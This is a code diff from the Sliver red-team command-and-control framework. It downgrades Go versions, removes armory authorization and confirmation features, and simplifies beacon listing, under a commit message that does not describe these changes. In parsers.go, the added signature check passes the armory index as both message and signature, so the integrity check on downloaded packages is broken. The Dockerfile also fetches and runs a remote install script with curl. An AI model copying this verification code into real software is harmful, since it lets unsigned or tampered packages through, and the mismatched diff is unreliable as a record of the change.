use default handler, clear stage bytes on job stop

.github/workflows/autorelease.yml

@@ -14,10 +14,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.18
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.18'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
@@ -65,10 +65,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.18
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.18'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64

.github/workflows/codeql-scanning.yml

@@ -17,10 +17,10 @@ jobs:
 
     steps:
       # Setup go environment
-      - name: Go 1.18
+      - name: Go 1.17
         uses: actions/setup-go@v2
         with:
-          go-version: "^1.18"
+          go-version: "^1.17"
 
       - name: Checkout repository
         uses: actions/checkout@v2

.github/workflows/go.yml

@@ -6,24 +6,19 @@ on:
   pull_request:
     branches:
       - master
-    types:
-      - opened
-      - reopened
-      - synchronize
-      - ready_for_review
 
 jobs:
 
   linux-windows-build:
     name: Linux & Windows Build
     runs-on: ubuntu-latest
-    timeout-minutes: 90
+    timeout-minutes: 45
     steps:
 
-    - name: Go 1.18
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.18'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
@@ -52,13 +47,13 @@ jobs:
   macos-build:
     name: MacOS Build
     runs-on: macos-latest
-    timeout-minutes: 90
+    timeout-minutes: 45
     steps:
 
-    - name: Go 1.18
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.18'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.18.3
+FROM golang:1.17.6
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.18.3
 #            a Docker deployment this is probably a good place to start.
 #
 
-ENV PROTOC_VER 3.19.4
-ENV PROTOC_GEN_GO_VER v1.27.1
-ENV GRPC_GO v1.2.0
+ENV PROTOC_VER 3.17.1
+ENV PROTOC_GEN_GO_VER v1.26.0
+ENV GRPC_GO v1.1.0
 
 # Base packages
 RUN apt-get update --fix-missing && apt-get -y install \
-    git build-essential zlib1g zlib1g-dev \
-    libxml2 libxml2-dev libxslt-dev locate curl \
-    libreadline6-dev libcurl4-openssl-dev git-core \
-    libssl-dev libyaml-dev openssl autoconf libtool \
-    ncurses-dev bison curl wget xsel postgresql \
-    postgresql-contrib postgresql-client libpq-dev \
-    libapr1 libaprutil1 libsvn1 \
-    libpcap-dev libsqlite3-dev libgmp3-dev \
-    zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
-    nasm gcc-multilib
+  git build-essential zlib1g zlib1g-dev \
+  libxml2 libxml2-dev libxslt-dev locate curl \
+  libreadline6-dev libcurl4-openssl-dev git-core \
+  libssl-dev libyaml-dev openssl autoconf libtool \
+  ncurses-dev bison curl wget xsel postgresql \
+  postgresql-contrib postgresql-client libpq-dev \
+  libapr1 libaprutil1 libsvn1 \
+  libpcap-dev libsqlite3-dev libgmp3-dev \
+  zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
+  nasm gcc-multilib
 
 #
 # > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
 # > Metasploit
 #
 RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
-    && chmod 755 msfinstall \
-    && ./msfinstall
+  && chmod 755 msfinstall \
+  && ./msfinstall
 RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
     &&  su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
 

Makefile

@@ -23,16 +23,16 @@ GO_VERSION = $(shell $(GO) version)
 GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
 GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
 MIN_SUPPORTED_GO_MAJOR_VERSION = 1
-MIN_SUPPORTED_GO_MINOR_VERSION = 18
+MIN_SUPPORTED_GO_MINOR_VERSION = 17
 GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
 
 VERSION ?= $(shell git describe --abbrev=0)
 COMPILED_AT = $(shell date +%s)
-RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
-ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
-ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
-VERSION_PKG = github.com/bishopfox/sliver/client/version
+RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
 CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
+ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
+ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
+VERSION_PKG = github.com/bishopfox/sliver/client/version
 
 GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
 GIT_COMMIT = $(shell git rev-parse HEAD)
@@ -77,12 +77,8 @@ ifeq ($(UNAME_S),Darwin)
 	SED_INPLACE := sed -i ''
 	STATIC_TARGET := macos
 endif
-
-# If no target is specified, determine GOARCH
 ifeq ($(UNAME_P),arm)
-	ifeq ($(MAKECMDGOALS), )
-		ENV += GOARCH=arm64
-	endif
+	ENV += GOARCH=arm64
 endif
 
 ifeq ($(MAKECMDGOALS), linux)
@@ -119,13 +115,8 @@ macos-arm64: clean validate-go-version
 
 .PHONY: linux
 linux: clean validate-go-version
-	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
-
-.PHONY: linux-arm64
-linux-arm64: clean validate-go-version
-	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: windows
 windows: clean validate-go-version

README.md

@@ -1,7 +1,7 @@
 Sliver
 ======
 
-Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
+Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
 
 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
 
@@ -40,10 +40,6 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
 
 See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
 
-### Feedback
-
-Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
-
 ### License - GPLv3
 
 Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.

client/assets/armories.go

@@ -21,9 +21,7 @@ package assets
 import (
 	"encoding/json"
 	"io/ioutil"
-	"log"
 	"os"
-	"os/exec"
 	"path/filepath"
 )
 
@@ -32,10 +30,8 @@ const (
 )
 
 var (
-	// DefaultArmoryPublicKey - The default public key for the armory
 	DefaultArmoryPublicKey string
-	// DefaultArmoryRepoURL - The default repo url for the armory
-	DefaultArmoryRepoURL string
+	DefaultArmoryRepoURL   string
 
 	defaultArmoryConfig = &ArmoryConfig{
 		PublicKey: DefaultArmoryPublicKey,
@@ -43,12 +39,9 @@ var (
 	}
 )
 
-// ArmoryConfig - The armory config file
 type ArmoryConfig struct {
-	PublicKey        string `json:"public_key"`
-	RepoURL          string `json:"repo_url"`
-	Authorization    string `json:"authorization"`
-	AuthorizationCmd string `json:"authorization_cmd"`
+	PublicKey string `json:"public_key"`
+	RepoURL   string `json:"repo_url"`
 }
 
 // GetArmoriesConfig - The parsed armory config file
@@ -66,22 +59,5 @@ func GetArmoriesConfig() []*ArmoryConfig {
 	if err != nil {
 		return []*ArmoryConfig{defaultArmoryConfig}
 	}
-	for _, armoryConfig := range armoryConfigs {
-		if armoryConfig.AuthorizationCmd != "" {
-			armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
-		}
-	}
 	return append(armoryConfigs, defaultArmoryConfig)
 }
-
-func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
-	if armoryConfig.AuthorizationCmd == "" {
-		return ""
-	}
-	out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
-	if err != nil {
-		log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
-		return ""
-	}
-	return string(out)
-}

client/command/alias/load.go

@@ -158,13 +158,12 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 	}
 
 	helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
-	longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
-	longHelpMsg += "\n\n⚠️  If you're having issues passing arguments to the alias please read:\n"
-	longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
+	helpMsg += "\n\n⚠️  If you're having issues passing arguments to the alias please read:\n"
+	helpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
 	addAliasCmd := &grumble.Command{
 		Name:     aliasManifest.CommandName,
 		Help:     helpMsg,
-		LongHelp: longHelpMsg,
+		LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
 		Run: func(extCtx *grumble.Context) error {
 			con.Println()
 			runAliasCommand(extCtx, con)

client/command/armory/armory.go

@@ -38,15 +38,12 @@ import (
 	"golang.org/x/term"
 )
 
-// ArmoryIndex - Index JSON containing alias/extension/bundle information
 type ArmoryIndex struct {
-	ArmoryConfig *assets.ArmoryConfig `json:"-"`
-	Aliases      []*ArmoryPackage     `json:"aliases"`
-	Extensions   []*ArmoryPackage     `json:"extensions"`
-	Bundles      []*ArmoryBundle      `json:"bundles"`
+	Aliases    []*ArmoryPackage `json:"aliases"`
+	Extensions []*ArmoryPackage `json:"extensions"`
+	Bundles    []*ArmoryBundle  `json:"bundles"`
 }
 
-// ArmoryPackage - JSON metadata for alias or extension
 type ArmoryPackage struct {
 	Name        string `json:"name"`
 	CommandName string `json:"command_name"`
@@ -56,15 +53,12 @@ type ArmoryPackage struct {
 	IsAlias bool `json:"-"`
 }
 
-// AmoryBundle - A list of packages
 type ArmoryBundle struct {
 	Name     string   `json:"name"`
 	Packages []string `json:"packages"`
 }
 
-// ArmoryHTTPConfig - Configuration for armory HTTP client
 type ArmoryHTTPConfig struct {
-	ArmoryConfig         *assets.ArmoryConfig
 	IgnoreCache          bool
 	ProxyURL             *url.URL
 	Timeout              time.Duration
@@ -72,22 +66,20 @@ type ArmoryHTTPConfig struct {
 }
 
 type indexCacheEntry struct {
-	ArmoryConfig *assets.ArmoryConfig
-	RepoURL      string
-	Fetched      time.Time
-	Index        ArmoryIndex
-	LastErr      error
+	RepoURL string
+	Fetched time.Time
+	Index   ArmoryIndex
+	LastErr error
 }
 
 type pkgCacheEntry struct {
-	ArmoryConfig *assets.ArmoryConfig
-	RepoURL      string
-	Fetched      time.Time
-	Pkg          ArmoryPackage
-	Sig          minisign.Signature
-	Alias        *alias.AliasManifest
-	Extension    *extensions.ExtensionManifest
-	LastErr      error
+	RepoURL   string
+	Fetched   time.Time
+	Pkg       ArmoryPackage
+	Sig       minisign.Signature
+	Alias     *alias.AliasManifest
+	Extension *extensions.ExtensionManifest
+	LastErr   error
 }
 
 var (
@@ -323,26 +315,9 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
 		{Name: "Name", Mode: table.Asc},
 	})
 	for _, bundle := range bundles {
-		if len(bundle.Packages) < 1 {
-			continue
-		}
-		packages := bundle.Packages[0]
-		if 1 < len(packages) {
-			packages += ", "
-		}
-		for index, pkgName := range bundle.Packages[1:] {
-			if index%5 == 4 {
-				packages += pkgName + "\n"
-			} else {
-				packages += pkgName
-				if index != len(bundle.Packages)-2 {
-					packages += ", "
-				}
-			}
-		}
 		tw.AppendRow(table.Row{
 			bundle.Name,
-			packages,
+			strings.Join(bundle.Packages, ", "),
 		})
 	}
 	con.Printf("%s\n", tw.Render())
@@ -403,10 +378,7 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
 		}
 	}
 
-	armoryResult := &indexCacheEntry{
-		ArmoryConfig: armoryConfig,
-		RepoURL:      armoryConfig.RepoURL,
-	}
+	armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
 	defer func() {
 		armoryResult.Fetched = time.Now()
 		indexCache.Store(armoryConfig.PublicKey, *armoryResult)
@@ -442,18 +414,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
 		for _, armoryPkg := range index.Extensions {
 			wg.Add(1)
 			armoryPkg.IsAlias = false
-			go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
+			go fetchPackageSignature(wg, armoryPkg, clientConfig)
 		}
 		for _, armoryPkg := range index.Aliases {
 			wg.Add(1)
 			armoryPkg.IsAlias = true
-			go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
+			go fetchPackageSignature(wg, armoryPkg, clientConfig)
 		}
 	}
 	wg.Wait()
 }
 
-func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
+func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
 	defer wg.Done()
 	cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
 	if ok {
@@ -463,10 +435,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
 		}
 	}
 
-	pkgCacheEntry := &pkgCacheEntry{
-		ArmoryConfig: armoryConfig,
-		RepoURL:      armoryPkg.RepoURL,
-	}
+	pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
 	defer func() {
 		pkgCacheEntry.Fetched = time.Now()
 		pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
@@ -486,7 +455,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
 		sig, _, err = pkgParser(armoryPkg, true, clientConfig)
 	} else {
-		sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
+		sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
 	}
 	if err != nil {
 		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)

client/command/armory/install.go

@@ -20,13 +20,11 @@ package armory
 
 import (
 	"errors"
-	"fmt"
 	"io/ioutil"
 	"net/url"
 	"os"
 	"path/filepath"
 
-	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/console"
@@ -35,7 +33,6 @@ import (
 )
 
 var (
-	// ErrPackageNotFound - The package was not found
 	ErrPackageNotFound = errors.New("package not found")
 )
 
@@ -48,19 +45,6 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	clientConfig := parseArmoryHTTPConfig(ctx)
 	refresh(clientConfig)
-	if name == "all" {
-		aliases, extensions := packagesInCache()
-		confirm := false
-		prompt := &survey.Confirm{
-			Message: fmt.Sprintf("Install %d aliases and %d extensions?",
-				len(aliases), len(extensions),
-			),
-		}
-		survey.AskOne(prompt, &confirm)
-		if !confirm {
-			return
-		}
-	}
 	err := installPackageByName(name, clientConfig, con)
 	if err == nil {
 		return
@@ -89,26 +73,17 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
 func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
 	aliases, extensions := packagesInCache()
 	for _, alias := range aliases {
-		if alias.CommandName == name || name == "all" {
+		if alias.CommandName == name {
 			installAlias(alias, clientConfig, con)
-			if name != "all" {
-				return nil
-			}
+			return nil
 		}
 	}
 	for _, ext := range extensions {
-		if ext.CommandName == name || name == "all" {
+		if ext.CommandName == name {
 			installExtension(ext, clientConfig, con)
-			if name != "all" {
-				return nil
-			}
+			return nil
 		}
 	}
-	if name == "all" {
-		con.Printf("\n")
-		con.PrintInfof("All packages installed\n")
-		return nil
-	}
 	return ErrPackageNotFound
 }
 
@@ -145,7 +120,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
 		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
 	} else {
-		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
+		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
 	}
 	if err != nil {
 		return err
@@ -263,7 +238,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
 		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
 	} else {
-		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
+		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
 	}
 	if err != nil {
 		return err

client/command/armory/parsers.go

@@ -30,7 +30,6 @@ import (
 	"net/url"
 	"path"
 	"strings"
-	"time"
 
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -58,13 +57,13 @@ const (
 )
 
 type armoryIndexResponse struct {
-	Minisig     string `json:"minisig"`      // Minisig (Base64)
-	ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
+	Minisig     string `json:"minisig"`      // Minisig
+	ArmoryIndex string `json:"armory_index"` // Base64 String
 }
 
 type armoryPkgResponse struct {
-	Minisig  string `json:"minisig"`    // Minisig (Base64)
-	TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
+	Minisig  string `json:"minisig"` // Minisig
+	TarGzURL string `json:"tar_gz_url"`
 }
 
 //
@@ -80,19 +79,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 	}
 
 	client := httpClient(clientConfig)
-	repoURL, err := url.Parse(armoryConfig.RepoURL)
-	if err != nil {
-		return nil, err
-	}
-	req := &http.Request{
-		Method: http.MethodGet,
-		URL:    repoURL,
-		Header: map[string][]string{},
-	}
-	if armoryConfig.Authorization != "" {
-		req.Header.Set("Authorization", armoryConfig.Authorization)
-	}
-	resp, err := client.Do(req)
+	resp, err := client.Get(armoryConfig.RepoURL)
 	if err != nil {
 		return nil, err
 	}
@@ -104,28 +91,20 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 	if resp.StatusCode != http.StatusOK {
 		return nil, errors.New("api returned non-200 status code")
 	}
-
-	indexResp := &armoryIndexResponse{}
-	err = json.Unmarshal(body, indexResp)
-	if err != nil {
-		return nil, err
-	}
-	armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
-	if err != nil {
-		return nil, err
-	}
-	armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
+	index := &armoryIndexResponse{}
+	err = json.Unmarshal(body, index)
 	if err != nil {
 		return nil, err
 	}
 
 	// Verify index is signed by trusted key
-	valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
+	valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
 	if !valid {
-		return nil, errors.New("index has invalid signature")
+		return nil, errors.New("invalid signature")
 	}
 
-	armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
+	armoryIndex := &ArmoryIndex{}
+	armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
 	if err != nil {
 		return nil, err
 	}
@@ -137,7 +116,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 }
 
 // DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
-func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
 	var publicKey minisign.PublicKey
 	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
 	if err != nil {
@@ -145,19 +124,7 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
 	}
 
 	client := httpClient(clientConfig)
-	repoURL, err := url.Parse(armoryConfig.RepoURL)
-	if err != nil {
-		return nil, nil, err
-	}
-	req := &http.Request{
-		Method: http.MethodGet,
-		URL:    repoURL,
-		Header: map[string][]string{},
-	}
-	if armoryConfig.Authorization != "" {
-		req.Header.Set("Authorization", armoryConfig.Authorization)
-	}
-	resp, err := client.Do(req)
+	resp, err := client.Get(armoryPkg.RepoURL)
 	if err != nil {
 		return nil, nil, err
 	}
@@ -449,7 +416,6 @@ func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConf
 	if err != nil {
 		return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
 	}
-	defer latestRedirect.Body.Close()
 	if latestRedirect.StatusCode != http.StatusFound {
 		return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
 	}
@@ -489,8 +455,9 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
 			Dial: (&net.Dialer{
 				Timeout: config.Timeout,
 			}).Dial,
-			IdleConnTimeout:     time.Millisecond,
-			Proxy:               http.ProxyURL(config.ProxyURL),
+
+			Proxy: http.ProxyURL(config.ProxyURL),
+
 			TLSHandshakeTimeout: config.Timeout,
 			TLSClientConfig: &tls.Config{
 				InsecureSkipVerify: config.DisableTLSValidation,

client/command/beacons/beacons.go

@@ -21,7 +21,6 @@ package beacons
 import (
 	"context"
 	"fmt"
-	"regexp"
 	"strings"
 	"time"
 
@@ -47,7 +46,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
-		err = kill.KillBeacon(beacon, ctx, con)
+		err = kill.KillBeacon(beacon, false, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -63,7 +62,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 		for _, beacon := range beacons.Beacons {
-			err = kill.KillBeacon(beacon, ctx, con)
+			err = kill.KillBeacon(beacon, true, con)
 			if err != nil {
 				con.PrintErrorf("%s\n", err)
 				return
@@ -72,36 +71,27 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
 		}
 	}
-	filter := ctx.Flags.String("filter")
-	var filterRegex *regexp.Regexp
-	if ctx.Flags.String("filter-re") != "" {
-		var err error
-		filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
 
 	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	PrintBeacons(beacons.Beacons, filter, filterRegex, con)
+
+	PrintBeacons(beacons.Beacons, con)
 }
 
 // PrintBeacons - Display a list of beacons
-func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
+func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
 	if len(beacons) == 0 {
 		con.PrintInfof("No beacons 🙁\n")
 		return
 	}
-	tw := renderBeacons(beacons, filter, filterRegex, con)
+	tw := renderBeacons(beacons, con)
 	con.Printf("%s\n", tw.Render())
 }
 
-func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
+func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
 	width, _, err := term.GetSize(0)
 	if err != nil {
 		width = 999
@@ -142,87 +132,37 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 		}
 
 		nextCheckin := time.Unix(beacon.NextCheckin, 0)
-		nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
-
 		var next string
-		var interval string
-
 		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
-
-			} else {
-				interval = time.Since(nextCheckin).Round(time.Second).String()
-			}
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
+			past := time.Since(nextCheckin)
+			next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
 		} else {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
-			} else {
-				interval = time.Until(nextCheckin).Round(time.Second).String()
-			}
-
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
+			eta := time.Until(nextCheckin)
+			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
 		}
-
-		// We need a slice of strings so we can apply filters
-		var rowEntries []string
-
-		/*
-			Round the duration to the nearest second to be more output friendly.
-			We deal in seconds for everything, so it makes sense to show outputs
-			in seconds to remain consistent.
-		*/
-		timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
-		lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
-
 		if con.Settings.SmallTermWidth < width {
-			rowEntries = []string{
+			tw.AppendRow(table.Row{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
-				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
+				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
 				next,
-			}
+			})
 		} else {
-			rowEntries = []string{
+			tw.AppendRow(table.Row{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
-				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
+				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
 				next,
-			}
-		}
-		// Build the row struct
-		row := table.Row{}
-		for _, entry := range rowEntries {
-			row = append(row, entry)
-		}
-		// Apply filters if any
-		if filter == "" && filterRegex == nil {
-			tw.AppendRow(row)
-		} else {
